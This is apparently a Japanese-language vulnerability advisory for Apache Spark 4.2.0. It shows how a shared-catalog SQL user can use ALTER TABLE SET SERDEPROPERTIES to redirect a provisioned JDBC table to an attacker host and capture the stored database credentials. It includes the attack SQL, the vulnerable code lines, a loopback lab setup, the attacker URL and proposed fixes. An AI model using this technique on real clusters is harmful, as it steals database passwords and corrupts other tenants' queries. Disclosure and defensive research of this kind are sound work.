
Apache Spark 4.2.0 - 高 - リモート - JDBC URL インジェクション - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
解説記事: https://abraxaslabs.tech/research/spark-jdbc-serde-url
分類: JDBC URL インジェクション 到達範囲: リモート
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 は、スキャン時の追加オプションが保存済みの JDBC url を上書きすることを防いだ。しかし ALTER TABLE SET SERDEPROPERTIES は依然として storage.properties にマージされ、これが JDBC スキャンオプションのマップとなる。保存された user / password は Spark JDBC のオプション名ではないため、新しい URL へそのまま引き継がれる。
共有カタログの SQL ユーザーは、運用者がプロビジョニングした USING jdbc テーブルの接続先を変更し、保存済みのデータベースパスワードを攻撃者が選んだホストへ再生できる。
| ID | CVE 未採番 |
| 分類 | JDBC URL インジェクション / 保存済み認証情報の再利用 (SPARK-31710 の残存) |
| 到達範囲 | リモート (共有カタログ上の Connect または Hive Thrift SQL) |
| CWE | CWE-15, CWE-522 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| 製品 | Apache Spark |
| 影響を受けるバージョン | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) の SQL v1 JDBC テーブル |
| 認証 | 共有カタログの SQL ユーザー (ジョブ投入用 jar ではない) |
| ライセンス | GNU Affero GPL v3.0 |
| ラボ | 127.0.0.1:18960 のみ |
共有 externalCatalog 上で、保存済み認証情報を持つ永続的な USING jdbc テーブルが既に存在する場合の、Connect gRPC SQL セッションまたは Hive Thrift SQL セッション。ジョブ投入者ではない。元の URL を指定したセッションでもない。
| 手法 | シンク | 権限 |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') の後に REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties の後に JDBC Driver.connect(url, properties) | 完全性: プロビジョニング済みテーブルの接続先を攻撃者のリスナーへ変更する。ラボで実証済み (connect=yes)。機密性: PostgreSQL のスタートアップおよび平文認証で保存済みの DB user / password を再生する。ラボで実証済み (user-replay=true password-replay=true)。SHOW CREATE によるシークレットの偵察は塞がれている (マスク済み)。 |
同じ永続化の後、別テナントによる t への SELECT | 共有カタログの行 | 完全性、推定: t に対する他セッションのクエリが新しい URL に到達するようになる (誤った DB、攻撃者が制御する行)。可用性、推定: 管理者が serde をリセットするまで元の DB に到達できない。DoS は対象外。 |
追加の serde キー (sessionInitStatement、prepareQuery、driver) | 残存する user / password に対するスキャンオプション | 完全性、推定: 追加ステートメント、またはクラスパス上の Driver の引数なしコンストラクタ。デフォルトクラスパス上のガジェットなしに RCE へ格上げしないこと。未検証。 |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties のみ | この検証では塞がれている。ラボで実証済み (storage の url は不変、オラクルへの到達なし)。 |
スキャン時の追加オプション url の衝突 | SPARK-31710 generateDatasourceOptions | 塞がれている。ラボで実証済み (extra-options-clash は拒否)。 |
同じセッションが指定する spark.read.format("jdbc").option("url", ...) | 意図されたデータプレーン | 対象外。所有者が制御する URL はこの残存問題ではない。 |
データソーステーブルに対する SET SERDE '<class>' | クラス名 | 塞がれている (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)。未検証。 |
隣接するクローズド項目: セッション名付きの JDBC / ファイルパス。spark.sql.legacy.extraOptionsBehavior の衝突チェック。OSS Spark には Unity の externalOptionsAllowList は存在しない。CREATE TABLE の URL は所有者が制御する(この残存項目ではない)。JDBC URL のログ秘匿化は無条件で行われる。ファイルテーブルの path は locationUri に存在する。JDBCTableCatalog の接続はセッションカタログ設定に由来する(URL を選択するのと同じデータプレーン)。共有カタログを持たないシングルユーザーの pyspark はモデルの対象外である。
私は Spark 4.2.0 に固定した。master でも 4.3 RC でもない。オープンクラスタ上でのジョブ投入は設計上の仕様である。興味深い残存項目は、名前付きの修正のすぐ隣に存在する。SPARK-31710 / generateDatasourceOptions は、既存の serde キーに対してスキャン時に異なる url を拒否する。SET TBLPROPERTIES は table.properties のみを書き込む。Datasource テーブルは依然として SET SERDEPROPERTIES を許可し、storage.properties にマージされる(++、後のキーが優先)。user と password は jdbcOptionNames に入ることは決してなく、そのため asConnectionProperties がそれらを Driver.connect に渡す。
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE は password を伏字にする。SQL ユーザーはシークレットを読み戻すことはできない。それでも、そのシークレットを利用することはできる。
すでに記録済みの誤った道筋:CREATE TABLE の url をバグとみなすこと;extra-options の衝突を再び報告すること;SET TBLPROPERTIES がストレージを移動させると期待すること;SHOW CREATE がパスワードを漏洩すると主張すること;引用された Scala がガジェットであるのにフルクラスタを実行すること;リバースシェル。オラクルは PostgreSQL の起動とループバック上のクリアテキスト認証である。
cd lab
./run.sh
ループバック 127.0.0.1:18960 は PostgreSQL プロトコルのリスナーです。HTTP ヘルスは 127.0.0.1:18961 です。ガジェットコンテナは Temurin 21 に libpostgresql-jdbc-java を加えたものです。保存された URL は jdbc:postgresql://127.0.0.1:1/provisioned(接続拒否)です。攻撃 URL は jdbc:postgresql://oracle:18960/stolen です。保存されたユーザーは spark_jdbc です。保存されたパスワードは stored-secret-SPARK-JDBC-SERDE-URL です。これをループバックにバインドします。
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
保存済みの JDBC url / user / password と衝突する SET SERDEPROPERTIES キーを拒否する。これは generateDatasourceOptions がスキャン時の追加オプションに対して既に実行しているチェックと同じである。あるいは、url が変更されたときに保存済みの user / password を破棄する。または、データソース JDBC serde をストレージではなくテーブルプロパティとして扱う。それまでの間、パスワードを保存する永続的な USING jdbc テーブルに対して、信頼できない SQL の ALTER TABLE を許可しないこと。
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala